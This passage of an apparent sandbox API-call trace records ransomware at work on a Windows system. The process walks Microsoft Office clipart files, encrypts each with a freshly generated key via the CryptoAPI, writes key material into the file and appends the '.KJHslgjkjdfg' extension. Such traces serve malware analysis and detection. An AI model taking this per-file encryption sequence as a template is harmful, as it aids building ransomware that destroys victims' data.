lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.572] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.572] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.572] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.572] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.572] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.572] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.572] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x795c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x795c, lpOverlapped=0x0) returned 1 [0205.574] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7960, dwBufLen=0x7960 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7960) returned 1 [0205.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.575] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7960, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7960, lpOverlapped=0x0) returned 1 [0205.575] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.575] SetEndOfFile (hFile=0x130) returned 1 [0205.577] GetProcessHeap () returned 0x2ef0000 [0205.577] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.577] GetProcessHeap () returned 0x2ef0000 [0205.577] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.577] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf.kjhslgjkjdfg")) returned 1 [0205.579] CloseHandle (hObject=0x130) returned 1 [0205.579] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x523e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285782.WMF", cAlternateFileName="")) returned 1 [0205.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.581] GetProcessHeap () returned 0x2ef0000 [0205.581] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.581] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.581] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.582] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0205.585] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.585] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.585] GetProcessHeap () returned 0x2ef0000 [0205.585] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.585] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.585] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.585] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.586] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.586] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.586] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.586] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.587] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.587] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.587] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.587] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x523e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x523e, lpOverlapped=0x0) returned 1 [0205.588] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5240, dwBufLen=0x5240 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5240) returned 1 [0205.588] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.589] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5240, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5240, lpOverlapped=0x0) returned 1 [0205.589] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.589] SetEndOfFile (hFile=0x130) returned 1 [0205.592] GetProcessHeap () returned 0x2ef0000 [0205.592] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.592] GetProcessHeap () returned 0x2ef0000 [0205.592] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.592] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf.kjhslgjkjdfg")) returned 1 [0205.594] CloseHandle (hObject=0x130) returned 1 [0205.594] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2eb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285792.WMF", cAlternateFileName="")) returned 1 [0205.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.595] GetProcessHeap () returned 0x2ef0000 [0205.595] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.595] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.595] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.595] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0205.598] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.598] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.598] GetProcessHeap () returned 0x2ef0000 [0205.598] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.598] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.598] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.598] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.598] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.598] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.598] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.598] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.598] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.598] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.599] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.599] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2eb4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2eb4, lpOverlapped=0x0) returned 1 [0205.600] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2ec0, dwBufLen=0x2ec0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2ec0) returned 1 [0205.600] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.600] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2ec0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2ec0, lpOverlapped=0x0) returned 1 [0205.600] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.600] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.600] SetEndOfFile (hFile=0x130) returned 1 [0205.601] GetProcessHeap () returned 0x2ef0000 [0205.602] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.602] GetProcessHeap () returned 0x2ef0000 [0205.602] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.602] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf.kjhslgjkjdfg")) returned 1 [0205.603] CloseHandle (hObject=0x130) returned 1 [0205.604] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285796.WMF", cAlternateFileName="")) returned 1 [0205.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.605] GetProcessHeap () returned 0x2ef0000 [0205.605] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.605] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.605] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.605] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.605] GetProcessHeap () returned 0x2ef0000 [0205.605] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.605] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.605] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.605] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.606] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.606] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.606] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.606] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.607] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.607] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.607] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.607] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3550, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3550, lpOverlapped=0x0) returned 1 [0205.608] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3550, dwBufLen=0x3550 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3550) returned 1 [0205.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.608] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3550, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3550, lpOverlapped=0x0) returned 1 [0205.608] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.608] SetEndOfFile (hFile=0x130) returned 1 [0205.610] GetProcessHeap () returned 0x2ef0000 [0205.610] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.610] GetProcessHeap () returned 0x2ef0000 [0205.610] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.610] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf.kjhslgjkjdfg")) returned 1 [0205.611] CloseHandle (hObject=0x130) returned 1 [0205.612] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285808.WMF", cAlternateFileName="")) returned 1 [0205.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.613] GetProcessHeap () returned 0x2ef0000 [0205.613] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.613] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.614] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0205.616] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.616] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.616] GetProcessHeap () returned 0x2ef0000 [0205.616] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.616] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.616] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.616] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.616] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.616] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.616] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.616] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.616] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.616] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.617] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.617] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 